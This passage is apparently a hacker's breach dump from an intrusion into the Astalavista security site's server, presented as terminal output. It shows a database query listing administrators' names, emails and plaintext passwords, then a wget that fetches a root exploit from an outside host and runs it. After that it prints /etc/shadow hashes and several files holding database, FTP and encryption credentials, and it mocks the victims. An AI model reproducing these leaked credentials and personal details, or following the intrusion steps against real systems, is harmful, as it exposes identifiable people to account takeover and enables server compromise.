| ip                       | varchar(15)                          | NO   |     | 0                   |                |<br />
| proxy                    | set(’0′,’1′)                         | NO   |     | 0                   |                |<br />
| logtime                  | timestamp                            | NO   |     | CURRENT_TIMESTAMP   |                |<br />
| login_reminder_last_sent | timestamp                            | NO   |     | 0000-00-00 00:00:00 |                |<br />
| anz_in                   | tinyint(1)                           | NO   |     | -1                  |                |<br />
| status                   | tinyint(1) unsigned                  | NO   |     | 0                   |                |<br />
| checked                  | set(’0′,’1′,’2′)                     | NO   |     | 0                   |                |<br />
| freemember               | set(’0′,’1′)                         | NO   |     | 0                   |                |<br />
| ordertype                | set(’transfer’,&#8217;wp’,&#8217;pp’,&#8217;mc’,&#8217;CnB’) | YES  |     | NULL                |                |<br />
| lang                     | tinytext                             | NO   |     |                     |                |<br />
| adid                     | smallint(6)                          | NO   |     | 0                   |                |<br />
| pp_txn_id                | varchar(255)                         | YES  |     | NULL                |                |<br />
| cnb_transaction_id       | varchar(255)                         | YES  |     | NULL                |                |<br />
| cnb_order_id             | varchar(255)                         | YES  |     | NULL                |                |<br />
| cnb_user_id              | int(11)                              | YES  |     | 0                   |                |<br />
+————————–+————————————–+——+—–+———————+—————-+<br />
22 rows in set (0.01 sec)</p>
<p>mysql> select count(*) as skids from users;<br />
+——-+<br />
| skids |<br />
+——-+<br />
| 25199 |<br />
+——-+<br />
1 row in set (0.00 sec)</p>
<p>mysql> select user,nickname,password,email from users where userlevel = 1;<br />
+————————–+———————-+——————+———————————–+<br />
| user                     | nickname             | password         | email                             |<br />
+————————–+———————-+——————+———————————–+<br />
| pascal                   | prozac               | astaman3         | info@astalavista.net              |<br />
| Ivan Schmid              | rOOtless1            | astalavista4asta | ivan.schmid@comvation.com         |<br />
| qreymer                  | Palermo              | qblsw85iam       | eche@home.se                      |<br />
| Christian Wehrli         | g0atherd             | hitt?74          | g0atherd@gmx.net                  |<br />
| Andrew Blake             | Minky                | liq73uid         | a.blake@har.mrc.ac.uk             |<br />
| Martin Wyss              | dinu                 | kj63;cXy         | martin.wyss@astalavista.net       |<br />
| Leandro Nery             | Timan_no_Sanco       | nery2002         | leandronery@hotmail.com           |<br />
| shaving ryans privates   | ShavingRyansPrivates | memberboard313   | shavingryansprivates1@hotmail.com |<br />
| Gerben van der Lubbe     | Spoofed Existence    | Lb59eXg5         | spoofedexistence@hotmail.com      |<br />
| David M Lee              | Daremo               | icG12m03         | daremo@hackerheaven.com           |<br />
| David Corn               | akriel               | ve3uB$cUku       | akriel@fallenroot.net             |<br />
| Thomas Kalin             | Gwanun               | QwErTy123        | thomas.kaelin@astalavista.net     |<br />
| Marcus unknown           | Cra58cker            | hhCr4ck06        | unknownmarcus@hotmail.com         |<br />
| David Ellis              | dellis203            | philip           | dellis@nightwatchnss.com          |<br />
| Lars Christian Solberg   | xeor                 | tF3s4|Nea        | xeor@hush.com                     |<br />
| Paulo Santos             | Be1er0ph0r1          | amor01           | pmsantos@gmx.ch                   |<br />
| Thomas D?ppen            | daha                 | asta4tom         | thomas.daeppen@astalavista.ch     |<br />
| Touraj Abbasi Moghaddasi | -Crow1               | NetR0ck          | toraj.a.m@gmail.com               |<br />
| Fabius Bernet            | traviser             | wellenreiter100  | fabius.bernet@astalavista.ch      |<br />
| Zachary McElroy          | duder1               | dirty245dix      | mcelroyzj@yahoo.com               |<br />
| Leron Cohen              | cohen2               | leron4free       | leron@quiredmedia.com             |<br />
| Beatriz Pontes           | anonymous1656        | pitas            | joao.pedro.pontes@gmail.com       |<br />
| Glafkos Charalambous     | anonymous2086        | si99490178$#     | nowayout@webhostline.com          |<br />
| developer COMVATION      | anonymous2402        | Ri?Q$Q$MVU       | ivan.schmid@astalavista.ch        |<br />
| Peter Fisher             | cyph3r1              | testZer025435    | cyph3r@astalavista.com            |<br />
| sykadul                  | sykadul              | ak29eral         | sykadul@gmail.com                 |<br />
| Ronny Janzi              | commander1           | mpbdaagf6m       | ronny.janzi@astalavista.ch        |<br />
+————————–+———————-+——————+———————————–+<br />
27 rows in set (0.00 sec)</p>
<p>mysql> exit;<br />
Bye</p>
<p>[~] plaintext passwords? yes,<br />
Those so called “security professionals” who charge you $6.66 / month to<br />
register at their hack-proof portal, save your passwords in plaintext…<br />
brilliant!</p>
<p>[~] This been fun but we want more.</p>
<p>sh-3.2$ uname -a<br />
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux<br />
sh-3.2$ wget http://anti.sec.labs/g0troot<br />
–13:33:37–  http://anti.sec.labs/g0troot<br />
Resolving anti.sec.labs… 13.33.33.37<br />
Connecting to anti.sec.labs|13.33.33.37|:80… connected.<br />
HTTP request sent, awaiting response… 200 OK<br />
Length: 18200 (18K) [text/plain]<br />
Saving to: `g0troot’</p>
<p>100%[=========================================================================================================================================>] 18,200      58.6K/s   in<br />
0.3s</p>
<p>18:55:14 (58.6 KB/s) &#8211; `g0troot’ saved [18200/18200]</p>
<p>sh-3.2$ ./g0troot -i x86_64<br />
[+] g0troot &#8211; anti.sec.labs<br />
[+] Target: 2.6.18-128.1.10.el5<br />
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]</p>
<p>[+] r00tr00t<br />
[~] Executing shell…</p>
<p>sh-3.2# id<br />
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)</p>
<p>sh-3.2# cat /etc/shadow<br />
root:$1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::<br />
[snip]<br />
admin:$1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::<br />
jon:$1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::<br />
com:$1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::<br />
astanet:$1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::</p>
<p>sh-3.2# cat /etc/motd<br />
#####################################################<br />
#____ ____ ___ ____ _    ____ _  _ _ ____ ___ ____  #<br />
# |__| [__   |  |__| |    |__| |  | | [__   |  |__| #<br />
# |  | ___]  |  |  | |___ |  |  \/  | ___]  |  |  | #<br />
#                                                   #<br />
#####################################################<br />
#                                                   #<br />
# Admin Contact &#8211; support@secureservertech.com      #<br />
#                                                   #<br />
# Available ShortCuts                               #<br />
#                                                   #<br />
# nst &#8211;  list active connections                    #<br />
# ddos &#8211; shows how many times each ip is connected  #<br />
# ltr &#8211;  restart the webserver                      #<br />
# phpc &#8211; edit the php config file                   #<br />
# htc &#8211;  edit the webserver configuration file      #<br />
# up &#8211;   uptime                                     #<br />
# etd &#8211; edit the motd of the day file               #<br />
# htr &#8211; start and restart apache if needed          #<br />
# syng &#8211; shows active SYN_RECV connections          #<br />
# synd &#8211; syn flood blocker &#8211; “synd -h” for usage    #<br />
#####################################################<br />
# NOTES:                                            #<br />
# Last Upgrade &#8211; 12-08-2008 by JF                   #<br />
# My.cnf/Mysql Optimization &#8211; 1-28-09               #<br />
#                                                   #<br />
#                                                   #<br />
#                                                   #<br />
#####################################################</p>
<p>sh-3.2# lastlog | grep -v Never<br />
Username         Port     From             Latest<br />
root             pts/1    adsl-194-162-fix Thu Jun  4 07:19:14 +0000 2009<br />
admin            pts/1    cp.secureservert Thu Mar 20 10:25:39 +0000 2008<br />
com              pts/0    cust.static.212- Tue Jun  2 07:46:30 +0000 2009<br />
astanet          pts/0    adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009</p>
<p>sh-3.2# ls -la<br />
total 453376<br />
drwxr-x— 15 root root       4096 Jun  4 08:40 .<br />
drwxr-xr-x 25 root root       4096 Jun  3 02:43 ..<br />
-rw-r–r–  1 root root    2394400 Oct 19  2007 10mbtest.zip<br />
-rw——-  1 root root       1006 Sep 11  2007 anaconda-ks.cfg<br />
-rw——-  1 root root      16836 Jun  4 07:21 .bash_history<br />
-rw-r–r–  1 root root         24 Jan  6  2007 .bash_logout<br />
-rw-r–r–  1 root root        191 Jan  6  2007 .bash_profile<br />
-rw-r–r–  1 root root        176 Jan  6  2007 .bashrc<br />
-rwx——  1 root root       1899 Oct 28  2007 bk.sh<br />
-rw-r–r–  1 root root       1327 Nov 29  2007 cert<br />
-rw-r–r–  1 root root  139860821 May 14  2008 contrexxbackup_20080514.sql<br />
drwxr-xr-x  4 root root       4096 May 20  2008 .cpan<br />
-rw-r–r–  1 root root        100 Jan  6  2007 .cshrc<br />
-rw-r–r–  1 root root     323079 Mar 31 13:48 defaultp_ports.sql<br />
drwx——  2 root root       4096 Oct 28  2007 .elinks<br />
drwxr-xr-x 13 root root       4096 Mar 21  2008 gdb-6.7.1<br />
-rw-r–r–  1 root root   15080950 Oct 29  2007 gdb-6.7.1.tar.bz2<br />
-rw——-  1 root root          0 Apr 16 13:19 .history<br />
-rw-r–r–  1 root root      16095 Sep 11  2007 install.log<br />
-rw-r–r–  1 root root       2566 Sep 11  2007 install.log.syslog<br />
-rw-r–r–  1 root root       1003 Jul 22  2007 install.sh<br />
-rw——-  1 root root         35 Jun  2 14:23 .lesshst<br />
drwxr-xr-x  2 root root       4096 Dec 29  2007 .lftp<br />
drwxr-xr-x 10 root root       4096 Sep 14  2007 linux-2.6.19.2-grsec<br />
-rw-r–r–  1 root root   94979336 Feb 16  2007 linux-2.6.19.2-grsec.tar.gz<br />
-rw-r–r–  1 root root    4737058 Sep 22  2007 linux-2.6.22.tar.bz2<br />
-rwx——  1 root root        760 Sep 18  2008 lp<br />
drwxr-xr-x 12 root root       4096 Nov 30  2007 lsws-3.3.1<br />
-rw-r–r–  1 root root    2480045 Nov 30  2007 lsws-3.3.1-ent-x86_64-linux.tar.gz<br />
-rw-r–r–  1 root root    6388501 Nov 29  2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1<br />
drwxr-xr-x 12 root root       4096 Mar 21  2008 lsws-3.3.9<br />
-rw-r–r–  1 root root    6437577 Mar 21  2008 lsws-3.3.9-ent-x86_64-linux.tar.gz<br />
drwxr-xr-x 12 root root       4096 May 29 15:10 lsws-4.0.3<br />
-rw-r–r–  1 root root    6496050 May  8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz<br />
-rw-r–r–  1 root root      25316 Feb 15  2006 mybk.sh<br />
-rw——-  1 root root         41 Oct 19  2007 .my.cnf<br />
-rw——-  1 root root       2902 Jun  4 08:40 .mysql_history<br />
-rwx——  1 root root      38873 Apr 16  2008 mysqlreport<br />
-rw——-  1 root root         41 May 20  2008 .mytop<br />
drwxr-xr-x  3 1000  1000      4096 May 20  2008 mytop-1.6<br />
-rw-r–r–  1 root root      19720 Feb 17  2007 mytop-1.6.tar.gz<br />
drwxr-xr-x  2 root root       4096 Oct 28  2007 .ncftp<br />
-rw——-  1 root root       1462 Sep 21  2007 opt.php<br />
-rw-r–r–  1 root root       3371 Sep 22  2007 p<br />
-rw-r–r–  1 root root    7608429 Aug 30  2007 php-5.2.4.tar.bz2<br />
-rw——-  1 root root       1024 Feb  3 21:32 .rnd<br />
-rw-r–r–  1 root root        716 Nov 28  2007 server.csr<br />
-rw-r–r–  1 root root        887 Nov 28  2007 server.key<br />
drwx——  2 root root       4096 Oct 10  2008 .ssh<br />
-rw-r–r–  1 root root      44227 Oct 28  2007 tar-inc-backup.dat<br />
-rw-r–r–  1 root root        129 Jan  6  2007 .tcshrc<br />
-rw-r–r–  1 root root  104874307 Oct 17  2007 test100.zip<br />
-rw-r–r–  1 root root   67085540 Oct 19  2007 test100.zip.1<br />
drwxr-xr-x  2 root root       4096 Apr 29 11:15 tmp<br />
-rw-r–r–  1 root root      42596 May 21  2007 tuning-primer.sh<br />
drwxrwxrwx 19 1000 users      4096 Mar 21  2008 valgrind-3.3.0<br />
-rw-r–r–  1 root root    4519551 Dec 11  2007 valgrind-3.3.0.tar.bz2<br />
-rw——-  1 root root      12997 May 16  2008 .viminfo</p>
<p>sh-3.2# cat .bash_history<br />
[snip]<br />
wget cp4sst.com/sstlinux.tar.gz<br />
tar zxvf sstlinux.tar.gz<br />
cd linux-2.6.27.10<br />
sh install.sh<br />
make bzImage ; make modules ; make modules_install ; make install<br />
make clean<br />
service mysqld restart<br />
[snip]<br />
cd /usr/sbin/<br />
chmod 4777 traceroute<br />
chmod 4777 ping<br />
traceroute -I www.astalavista.ch<br />
[snip]<br />
vi /etc/csf/csf.conf<br />
traceroute google.ch<br />
service csf restart<br />
tracert google.ch<br />
service csf restart<br />
traceroute www.google.ch<br />
tracert www.google.ch<br />
traceroute www.google.ch<br />
locate traceroute<br />
chown 4755 /bin/traceroute<br />
chown 4777 /bin/traceroute<br />
locate ping<br />
chown 4755 /bin/ping<br />
chown 4777 /bin/ping<br />
cd /bin/<br />
ls -ali | grep ping<br />
chown root ping<br />
chmod 4755 ping<br />
ls -ali | grep traceroute<br />
chown root traceroute<br />
chmod 4755 traceroute<br />
ls -ali | grep traceroute<br />
traceroute -I www.google.ch<br />
traceroute www.google.ch<br />
whois pmsantos.ch<br />
[snip]<br />
mysql -h com_contrexx2_live < /root/defaultp_ports.sql<br />
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql<br />
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql<br />
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql<br />
top<br />
ping ssth.ch<br />
ping asdlkfaljgasd???ljg???lasj.ch<br />
ping asdlkfaljgasdlasj.ch<br />
ping www.ssth.ch<br />
ping ssth.ch<br />
nslookup www.google.ch<br />
nslookup www.ssth.ch<br />
man nslookup<br />
ping www.google.ch<br />
nslookup www.google.ch<br />
nslookup www.google.ch<br />
nslookup salfjasdlf.ch<br />
[snip]<br />
openssl passwd -1 sadf<br />
openssl passwd -1 5cZNHstdTy<br />
mysql<br />
mysql<br />
locate proftp<br />
vi /etc/proftpd.passwd<br />
service proftpd restart<br />
locate proftpd.conf<br />
vi /etc/proftpd.conf<br />
vi /etc/proftpd.passwd<br />
service proftpd restart<br />
[snip]<br />
/bin/sh /home/com/backup_system/backup.sh<br />
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin<br />
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql<br />
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql<br />
ls -ali<br />
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql<br />
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql<br />
crontab -l<br />
crontab -l<br />
php -q /home/com/public_html/modifications/cronjobs/securitynews.php<br />
/home/com/public_html/modifications/cronjobs/exploits.sh<br />
wget http://www.litespeedtech.com/pac &#8230; x86_64-linux.tar.gz<br />
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz<br />
cd lsws-4.0.3<br />
sh install.sh<br />
uptime<br />
hdparm -tt /dev/sda<br />
iostat<br />
yum install iostat<br />
iostat<br />
whereis iostat<br />
yjm clean all<br />
yum clean all ; yum -y update<br />
iostat<br />
yum install systat<br />
rpm -qa | grep iostat<br />
rpm -qa | grep sysstat<br />
rpm -qa | grep systat<br />
dmesg -c<br />
sysctl -p<br />
uname -r<br />
cd /usr/src<br />
wget nix101.com/kernels/sstlinux.tar.gz<br />
shutdown -r now<br />
nano -w /boot/grub/grub.conf</p>
<p>sh-3.2# cat .my.cnf<br />
[client]<br />
user=da_admin<br />
password=X9dctmRH</p>
<p>sh-3.2# cat /home/com/backup_system/backup.sh<br />
#!/bin/sh<br />
#####################################################################<br />
#                                                                   #<br />
#   incremental backup for astalavista.com                          #<br />
#                                                                   #<br />
#   author:    Paulo M. Santos
<paulo.santos@astalavista.com>       #<br />
#                                                                   #<br />
#####################################################################<br />
[snip]<br />
PROG_DIR=”/home/com/backup_system”;<br />
BACKUP_DIR=”/home/com/backups”;<br />
DOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;<br />
# ftp for synology backup server<br />
FTP_HOST=”212.254.194.163″;<br />
FTP_PORT=”21″;<br />
FTP_USER=”astalavista.com”;<br />
FTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;<br />
FTP_DIR=”/astalavista.com”;<br />
# database<br />
DB_HOST=”localhost”;<br />
DB_USER=”contrexxuser2″;<br />
DB_PASS=”0fEYNZgXz1pKe”;<br />
DB_DATABASE1=”com_contrexx2_live”;<br />
DB_DATABASE2=”com_contrexx2″;<br />
[snip]<br />
ftp -in $FTP_HOST $FTP_PORT <<EOF<br />
quote USER $FTP_USER<br />
quote PASS $FTP_PASS<br />
cd $FTP_DIR<br />
put $DB_FULLNAME-SQL_Dump.tar<br />
put $BACKUP_FULLNAME-Public_HTML.tar<br />
close<br />
bye<br />
EOF</p>
<p>sh-3.2# cd /home<br />
sh-3.2# ls -la<br />
total 120<br />
drwxr-xr-x 14 root    root     4096 Mar 11 17:56 .<br />
drwxr-xr-x 25 root    root     4096 Jun  3 02:43 ..<br />
drwx–x–x  9 admin   admin    4096 Nov 28  2007 admin<br />
-rw——-  1 root    root     8192 Jun  4 03:03 aquota.group<br />
-rw——-  1 root    root     8192 Jun  3 02:45 aquota.user<br />
drwx–x–x  6 astanet astanet  4096 Jun  4 09:51 astanet<br />
drwxr-xr-x  2 root    root     4096 Jul 29  2008 backup<br />
drwxr-xr-x  2 root    root     4096 Sep 17  2008 backup.14161<br />
drwx–x–x 10 com     com      4096 Apr 28 12:40 com<br />
drwxr-xr-x  2 root    root     4096 May 17  2007 ftp<br />
drwx——  3 jon     jon      4096 Sep 21  2007 jon<br />
drwx——  2 root    root    16384 Sep 11  2007 lost+found<br />
drwxr-xr-x  2 root    root     4096 Sep 14  2007 my<br />
drwxr-xr-x  5 mysql   mysql    4096 Sep 24  2007 mysqldata<br />
drwx——  2 jon     jon      4096 Sep 15  2007 test<br />
drwxrwxrwt  2 root    root     4096 Jul 29  2008 tmp</p>
<p>sh-3.2# cd admin<br />
sh-3.2# ls -la<br />
total 1735896<br />
drwx–x–x  9 admin admin       4096 Nov 28  2007 .<br />
drwxr-xr-x 14 root  root        4096 Mar 11 17:56 ..<br />
drwxrwxr-x  2 admin admin       4096 Oct 25  2007 admin_backups<br />
drwx——  2 admin admin       4096 Sep 28  2007 backups<br />
-rw——-  1 admin admin        860 Sep 17  2008 .bash_history<br />
-rw-r–r–  1 admin admin         24 Sep 14  2007 .bash_logout<br />
-rw-r–r–  1 admin admin        176 Sep 14  2007 .bash_profile<br />
-rw-r–r–  1 admin admin        124 Sep 14  2007 .bashrc<br />
drwxr-xr-x  2 root  root        4096 Sep 28  2007 com_backups<br />
drwx–x–x  6 admin admin       4096 Sep 21  2007 domains<br />
drwxrwx—  3 admin mail        4096 Sep 21  2007 imap<br />
-rw-r–r–  1 root  root          24 Sep 21  2007 info.php<br />
drwx——  2 admin admin       4096 Sep 21  2007 mail<br />
-rw-r–r–  1 root  root         716 Nov 28  2007 server.csr<br />
-rw-r–r–  1 root  root         887 Nov 28  2007 server.key<br />
-rw-r—–  1 admin mail          34 Sep 14  2007 .shadow<br />
-rw-r—–  1 admin com   1775711054 Oct 25  2007 user.admin.com.tar.gz<br />
drwx–x–x  2 admin admin       4096 Jul 29  2008 user_backups</p>
<p>sh-3.2# ..<br />
sh-3.2# cd jon<br />
sh-3.2# ls -la<br />
total 36<br />
drwx——  3 jon  jon  4096 Sep 21  2007 .<br />
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..<br />
-rw——-  1 jon  jon    53 Sep 21  2007 .bash_history<br />
-rw-r–r–  1 jon  jon    24 Sep 21  2007 .bash_logout<br />
-rw-r–r–  1 jon  jon   176 Sep 21  2007 .bash_profile<br />
-rw-r–r–  1 jon  jon   124 Sep 21  2007 .bashrc<br />
-rw-r–r–  1 root root   24 Sep 21  2007 info.php<br />
drwxrwxr-x  2 jon  jon  4096 Sep 21  2007 public_html</p>
<p>sh-3.2# cd ..<br />
sh-3.2# cd test<br />
sh-3.2# ls -la<br />
total 48<br />
drwx——  2 jon  jon  4096 Sep 15  2007 .<br />
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..<br />
-rw——-  1 jon  jon    79 Sep 21  2007 .bash_history<br />
-rw-r–r–  1 jon  jon    24 Sep 15  2007 .bash_logout<br />
-rw-r–r–  1 jon  jon   176 Sep 15  2007 .bash_profile<br />
-rw-r–r–  1 jon  jon   124 Sep 15  2007 .bashrc<br />
sh-3.2# cat .bash_history<br />
/usr/bin/mysqladmin -u root password PoliuJhytg67</p>
<p>sh-3.2# cd ..<br />
sh-3.2# cd astanet<br />
sh-3.2# ls -la<br />
total 52<br />
drwx–x–x  6 astanet astanet 4096 Jun  4 09:51 .<br />
drwxr-xr-x 14 root    root    4096 Mar 11 17:56 ..<br />
drwxr-xr-x  2 root    root    4096 Dec 23 16:00 auth<br />
-rw——-  1 astanet astanet 3892 Apr 16 12:14 .bash_history<br />
-rw-r–r–  1 astanet astanet   33 Dec 17 21:50 .bash_logout<br />
-rw-r–r–  1 astanet astanet  176 Dec 17 21:50 .bash_profile<br />
-rw-r–r–  1 astanet astanet  124 Dec 17 21:50 .bashrc<br />
drwx–x–x  3 astanet astanet 4096 Dec 23 12:18 domains<br />
drwxrwx—  3 astanet mail    4096 Dec 23 12:18 imap<br />
drwx——  2 astanet astanet 4096 Dec 23 12:18 mail<br />
-rw——-  1 astanet astanet  197 Jun  4 09:51 .mysql_history<br />
lrwxrwxrwx  1 astanet astanet   37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html<br />
-rw-r—–  1 astanet mail      34 Dec 22 12:41 .shadow</p>
<p>sh-3.2# cd auth/<br />
sh-3.2# ls -la<br />
total 28<br />
drwxr-xr-x 2 root    root    4096 Dec 23 16:00 .<br />
drwx–x–x 6 astanet astanet 4096 Jun  4 09:51 ..<br />
-rw-r–r– 1 root    root     321 Jan  5  2006 hackercontest.config.inc.php<br />
-rw-r–r– 1 root    root     319 Jan  5  2006 hosting.config.inc.php<br />
-rw-r–r– 1 root    root      24 Jun  4 09:38 .htadm_pwd<br />
-rw-r–r– 1 root    root      49 Jan  5  2006 .htpasswd_newhosting<br />
-rw-r–r– 1 root    root      51 Oct 11  2006 .htwebalizer_pwd</p>
<p>sh-3.2# cat hackercontest.config.inc.php<br />
<?PHP<br />
// Variabeln f?r Verbindung zur Datenbank //<br />
$conxHost = ‘localhost’;                       // MySQL hostname<br />
$conxUser = ‘hackercontest’;                                       // MySQL user<br />
$conxPassword = ‘K6m@7dUc’;                    // MySQL password<br />
$bfkey = ‘cXvB3981′;                                       // Encryption/Decryption Key for Blowfish<br />
?><br />
sh-3.2# cat hosting.config.inc.php<br />
<?PHP<br />
// Variabeln f?r Verbindung zur Datenbank //<br />
$conxHost = ‘localhost’;                       // MySQL hostname<br />
$conxUser = ‘hostinguser’;                                 // MySQL user<br />
$conxPassword = ‘cXvB3981′;                    // MySQL password<br />
$bfkey = ‘cXvB3981′;                                       // Encryption/Decryption Key for Blowfish<br />
?></p>
<p>sh-3.2# cd ..<br />
sh-3.2# cd com<br />
sh-3.2# ls -la<br />
total 141208<br />
drwx–x–x 10 com  com       4096 Apr 28 12:40 .<br />
drwxr-xr-x 14 root root      4096 Mar 11 17:56 ..<br />
drwx——  2 com  com       4096 Jun  4 04:04 backups<br />
-rw-r–r–  1 root root   2419504 Sep 28  2007 backup.sql<br />
drwxr-xr-x  2 com  com       4096 May 12 15:20 backup_system<br />
-rw——-  1 com  com      21880 Jun  2 08:07 .bash_history<br />
-rw-r–r–  1 com  com         24 Sep 24  2007 .bash_logout<br />
-rw-r–r–  1 com  com        176 Sep 24  2007 .bash_profile<br />
-rw-r–r–  1 com  com        124 Sep 24  2007 .bashrc<br />
drwx–x–x  3 com  com       4096 Jan 29  2008 domains<br />
-rw-r–r–  1 com  com      16409 Jul 16  2008 FWUser.class.php.fixed<br />
drwxrwx—  3 com  mail      4096 Jan  6 19:24 imap<br />
-rw——-  1 com  com         69 Nov 18  2008 .lesshst<br />
drwx——  2 com  com       4096 Sep 24  2007 mail<br />
-rw——-  1 com  com      13970 Mar 28 21:42 .mysql_history<br />
drwxr-xr-x  2 com  com       4096 Aug 20  2008 .ncftp<br />
lrwxrwxrwx  1 com  com         37 Sep 24  2007 public_html -> ./domains/astalavista.com/public_html<br />
-rw-r—–  1 com  mail        34 Sep 24  2007 .shadow<br />
drwx——  2 com  com       4096 Aug 26  2008 .ssh<br />
-rwx——  1 com  com       8515 Feb 10  2008 t<br />
-rw-rw-r–  1 com  com       6265 Feb 11  2008 t.c<br />
drwxrwxr-x  2 com  com       4096 Jan 30 15:47 tmp<br />
-rw-rw-r–  1 com  com        617 May 20  2008 .toprc<br />
-rw-rw-r–  1 com  com  141851766 May 19  2008 version2-backup-20080519-0900.sql<br />
-rw——-  1 com  com      16629 Mar 28 21:46 .viminfo<br />
-rw-rw-r–  1 com  com         51 Aug 25  2008 .vimrc</p>
<p>sh-3.2# head t.c<br />
/*<br />
* jessica_biel_naked_in_my_bed.c<br />
*<br />
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.<br />
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.<br />
* Stejnak je to stare jak cyp a aj jakesyk rozbite.<br />
*<br />
* Linux vmsplice Local Root Exploit<br />
* By qaaz<br />
*</p>
<p>sh-3.2# cd /<br />
sh-3.2# ls -la<br />
total 360<br />
drwxr-xr-x  25 root root   4096 Jun  3 02:43 .<br />
drwxr-xr-x  25 root root   4096 Jun  3 02:43 ..<br />
-rw——-   1 root root  10240 Jun  3 02:39 aquota.group<br />
-rw——-   1 root root  10240 Jun  3 02:39 aquota.user<br />
-rw-r—–   1 root root    819 Jul 17  2008 astalavista.us.db<br />
-rw-r–r–   1 root root      0 Jun  3 02:43 .autofsck<br />
-rw-r–r–   1 root root      0 Sep 16  2007 .autorelabel<br />
drwxr-xr-x   3 root root   4096 Dec 29  2007 backup<br />
drwxr-xr-x   2 root root   4096 Jun  4 04:03 bin<br />
drwxr-xr-x   5 root root   4096 Jun  2 14:06 boot<br />
drwxr-xr-x  11 root root   3620 Jun  3 02:43 dev<br />
drwxr-xr-x  84 root root  12288 Jun  4 03:16 etc<br />
drwxr-xr-x  14 root root   4096 Mar 11 17:56 home<br />
-rw-r–r–   1 root root  13387 Mar 20  2008 httpd.conf<br />
drwxr-xr-x  11 root root   4096 Jun  4 04:02 lib<br />
drwxr-xr-x   7 root root   4096 Jun  4 04:03 lib64<br />
drwx——   2 root root  16384 Sep 11  2007 lost+found<br />
drwxr-xr-x   2 root root   4096 Mar 11 17:56 media<br />
drwxr-xr-x   2 root root      0 Jun  3 02:43 misc<br />
drwxr-xr-x   2 root root   4096 Mar 11 17:56 mnt<br />
-rw-r–r–   1 root root   5859 Feb  3  2008 mrtg.cfg<br />
drwxr-xr-x   2 root root      0 Jun  3 02:43 net<br />
drwxr-xr-x   3 root root   4096 Mar 11 17:56 opt<br />
dr-xr-xr-x 264 root root      0 Jun  3 02:42 proc<br />
drwxr-x—  15 root root   4096 Jun  4 08:40 root<br />
drwxr-xr-x   2 root root  12288 Jun  4 04:03 sbin<br />
drwxr-xr-x   2 root root   4096 Mar 11 17:56 selinux<br />
drwxr-xr-x   2 root root   4096 Mar 11 17:56 srv<br />
drwxr-xr-x  11 root root      0 Jun  3 02:42 sys<br />
drwxrwxrwt   4 root root 122880 Jun  4 10:35 tmp<br />
drwxr-xr-x  16 root root   4096 Jun  2 13:56 usr<br />
drwxr-xr-x  26 root root   4096 Jun  4 03:16 var</p>
<p>sh-3.2# cd opt<br />
sh-3.2# ls -la<br />
total 20<br />
drwxr-xr-x  3 root root 4096 Mar 11 17:56 .<br />
drwxr-xr-x 25 root root 4096 Jun  3 02:43 ..<br />
drwxr-xr-x 15 root root 4096 Mar 20  2008 lsws</p>
<p>sh-3.2# cd lsws/<br />
sh-3.2# ls -la<br />
total 108<br />
drwxr-xr-x 15 root   root    4096 Mar 20  2008 .<br />
drwxr-xr-x  3 root   root    4096 Mar 11 17:56 ..<br />
drwxr-xr-x  8 root   root    4096 Mar 20  2008 add-ons<br />
drwxr-xr-x 13 root   root    4096 May 29 15:10 admin<br />
drwxr-xr-x  5 apache apache  4096 May 29 15:10 autoupdate<br />
drwxr-xr-x  2 root   root    4096 May 29 15:10 bin<br />
drwx——  4 apache apache  4096 Jun  3 02:43 conf<br />
drwxr-xr-x  7 apache apache  4096 Mar 20  2008 DEFAULT<br />
drwxr-xr-x  2 root   root    4096 Sep 15  2008 docs<br />
drwxr-xr-x  2 root   root    4096 May 29 15:10 fcgi-bin<br />
drwxr-xr-x  2 root   root    4096 Sep 15  2008 lib<br />
-rw-r–r–  1 root   root    6959 May 29 15:10 LICENSE<br />
-rw-r–r–  1 root   root    2214 May 29 15:10 LICENSE.OpenLDAP<br />
-rw-r–r–  1 root   root    6279 May 29 15:10 LICENSE.OpenSSL<br />
-rw-r–r–  1 root   root    3208 May 29 15:10 LICENSE.PHP<br />
drwxr-xr-x  2 root   root   20480 Jun  4 09:55 logs<br />
drwxr-xr-x  2 root   root    4096 Mar 20  2008 php<br />
drwx——  2 apache apache  4096 Mar 20  2008 phpbuild<br />
drwxr-xr-x  3 root   root    4096 Mar 20  2008 share<br />
-rw-r–r–  1 root   root       6 May 29 15:10 VERSION</p>
<p>sh-3.2# cd conf<br />
sh-3.2# ls -la<br />
total 48<br />
